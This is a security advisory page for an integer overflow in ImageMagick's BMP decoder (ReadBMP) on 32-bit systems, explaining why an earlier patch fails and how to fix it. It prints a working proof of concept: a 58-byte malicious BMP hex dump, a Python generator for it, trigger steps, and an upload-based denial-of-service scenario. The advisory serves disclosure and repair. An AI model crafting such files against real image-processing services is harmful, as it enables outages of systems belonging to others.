Medium

ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)

  • Disclosed: 28.10.2025
  • Updated: 11.10.2026 11:23

Summary

CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.

The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.

Affected Versions:

  • ImageMagick < 7.1.2-2 (originally reported)
  • ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)

Platform and Configuration Requirements:

  • 32-bit systems ONLY (i386, i686, armv7l, etc.)
  • Requires size_t = 4 bytes. (64-bit systems are NOT vulnerable (size_t = 8 bytes))
  • Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).

Details(Root Cause Analysis)

Vulnerable Code Location

File: coders/bmp.c
Lines: 1120-1122 (in version 7.1.2-5)

The Incomplete Patch

c
// Line 1120: Integer overflow happens HERE
extent = image->columns * bmp_info.bits_per_pixel;  // OVERFLOW!

// Line 1121: Uses already-overflowed value
bytes_per_line = 4*((extent+31)/32);

// Line 1122: Checks the RESULT, not the multiplication
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Why the Patch Fails

Attack Vector (32-bit system):

Input BMP Header:
  Width: 536,870,912 (0x20000000)
  Height: 1
  Bits Per Pixel: 32

Calculation on 32-bit system:
  extent = 536,870,912 × 32
         = 17,179,869,184 (0x400000000)
         
  32-bit truncation:
  0x400000000 & 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!
  
  bytes_per_line = 4 × ((0 + 31) / 32)
                 = 4 × 0
                 = 0
  
  BMPOverflowCheck(0, 1):
    return (1 != 0) && (0 > 4294967295UL/1)
    return True && (0 > 4294967295)
    return True && False
    return False  ← Does NOT detect overflow!

The check fails because:

  1. The overflow happens at Line 1120 (extent calculation)
  2. extent becomes 0 due to 32-bit truncation
  3. bytes_per_line is calculated as 0 (Line 1121)
  4. BMPOverflowCheck(0, 1) returns False (no overflow detected)
  5. Code proceeds with corrupted values → ASan crash

PoC(Proof of Concept)

Minimal 58-byte BMP File

Hex dump:

00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

Key Fields:

  • Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912)
  • Offset 0x16: Height = 01 00 00 00 = 1
  • Offset 0x1C: BPP = 20 00 = 32

Python Generator

python
#!/usr/bin/env python3
import struct

width = 0x20000000   # 536,870,912
height = 1
bpp = 32

# BMP File Header (14 bytes)
file_header = b'BM'
file_header += struct.pack('<I', 58)      # File size
file_header += struct.pack('<HH', 0, 0)   # Reserved
file_header += struct.pack('<I', 54)      # Pixel offset

# DIB Header (40 bytes)
dib_header = struct.pack('<I', 40)        # Header size
dib_header += struct.pack('<i', width)    # Width
dib_header += struct.pack('<i', height)   # Height
dib_header += struct.pack('<H', 1)        # Planes
dib_header += struct.pack('<H', bpp)      # BPP
dib_header += struct.pack('<I', 0)        # Compression
dib_header += struct.pack('<I', 0)        # Image size
dib_header += struct.pack('<i', 2835)     # X ppm
dib_header += struct.pack('<i', 2835)     # Y ppm
dib_header += struct.pack('<I', 0)        # Colors
dib_header += struct.pack('<I', 0)        # Important colors

pixel_data = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f:
    f.write(file_header + dib_header + pixel_data)

print(f"Created overflow.bmp (58 bytes)")

Reproduction Steps

Environment Setup

bash
# Use 32-bit Docker container
docker run -it --name test-32bit i386/ubuntu:latest bash

# Install dependencies
apt-get update
apt-get install -y clang build-essential wget tar \
    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \
    zlib1g-dev liblzma-dev libbz2-dev

# Download ImageMagick 7.1.2-5
cd /tmp
wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz
tar xzf 7.1.2-5.tar.gz
cd ImageMagick-7.1.2-5

Build with AddressSanitizer (32-bit IMPORTANT!)

bash
# Configure for 32-bit build (CRITICAL - must be 32-bit!)
./configure \
    --host=i686-pc-linux-gnu \
    --disable-dependency-tracking \
    --disable-silent-rules \
    --disable-shared \
    --disable-openmp \
    --disable-docs \
    --without-x \
    --without-perl \
    --without-magick-plus-plus \
    --without-lqr \
    --without-zstd \
    --without-tiff \
    --with-quantum-depth=8 \
    --disable-hdri \
    CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    LDFLAGS="-fsanitize=address,undefined"

make -j$(nproc)

### Trigger the Vulnerability

```bash
# Set environment to bypass cache.c limits
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1"
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

# Test with malicious BMP (use Python script above to create it)
./utilities/magick identify overflow.bmp

AddressSanitizer Output

==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 
"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0)
=================================================================
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 
"((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: 
stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)
False positive error reports may follow
For details see https://github.com/google/sanitizers/issues/189

It operates in the following environments.

export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

Impact

Attack Scenario

  1. Attacker creates a 58-byte malicious BMP file
  2. Uploads to web service that uses ImageMagick (on 32-bit system)
  3. ImageMagick attempts to process the image
  4. Integer overflow triggers AddressSanitizer crash
  5. Service becomes unavailable (Denial of Service)

Real-world targets:

  • Web hosting platforms with image processing
  • CDN services with thumbnail generation
  • Legacy embedded systems
  • IoT devices running 32-bit Linux
  • Docker containers using 32-bit base images

Recommended Fix

Correct Patch

The overflow check must happen before the multiplication:

c
// Add overflow check BEFORE calculating extent
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)
    ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// Now safe to calculate
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);

// Additional safety check
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Alternative: Use 64-bit Arithmetic

c
// Force 64-bit calculation
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;

if (extent_64 > UINT32_MAX)
    ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);

Credits

wooseokdotkim wooseokdotkim@gmail.com

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
.NET (NuGet) Magick.NET-Q16-AnyCPU < 14.9.0 14.9.0
.NET (NuGet) Magick.NET-Q16-HDRI-AnyCPU < 14.9.0 14.9.0
.NET (NuGet) Magick.NET-Q16-HDRI-x86 < 14.9.0 14.9.0
.NET (NuGet) Magick.NET-Q16-x86 < 14.9.0 14.9.0
.NET (NuGet) Magick.NET-Q8-AnyCPU < 14.9.0 14.9.0
.NET (NuGet) Magick.NET-Q8-x86 < 14.9.0 14.9.0

References

CVSS score 4.4/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-190
Platform
.NET (NuGet)
Package
Magick.NET-Q16-AnyCPU, Magick.NET-Q16-HDRI-AnyCPU, Magick.NET-Q16-HDRI-x86
Disclosed
28.10.2025
Updated
11.10.2026 11:23

Sources and licenses

OSV / GitHub Advisory Database - GHSA-9pp9-cfwx-54rm - CC BY 4.0

Vulnerability history: Magick.NET-Q16-x86

All published vulnerabilities of this package (.NET (NuGet)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (162) in the archive
Total entries
162
First → latest
07.2025 09.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 26
  • Medium 98
  • Low 38

Disclosures per year

  1. 2025: 15
  2. 2026: 147
Severity:
  1. High · 7.5 CVE-2026-53460 < 14.14.0 14.14.0
  2. High · 7.5 CVE-2026-33901 < 14.12.0 14.12.0
  3. High · 7.5 CVE-2026-33908 < 14.12.0 14.12.0
  4. High · 7.7 CVE-2026-30929 < 14.10.4 14.10.4
  5. High · 7.5 CVE-2026-28691 < 14.10.4 14.10.4
  6. High · 7.5 CVE-2026-24485 < 14.10.3 14.10.3
  7. ImageMagick has Integer Overflow in BMP Decoder (ReadBMP) this entry
    Medium · 4.4 CVE-2025-62171 < 14.9.0 14.9.0
  8. High · 8.8 CVE-2025-55154 < 14.8.0 14.8.0
  9. High · 7.4 CVE-2025-53101 < 14.7.0 14.7.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.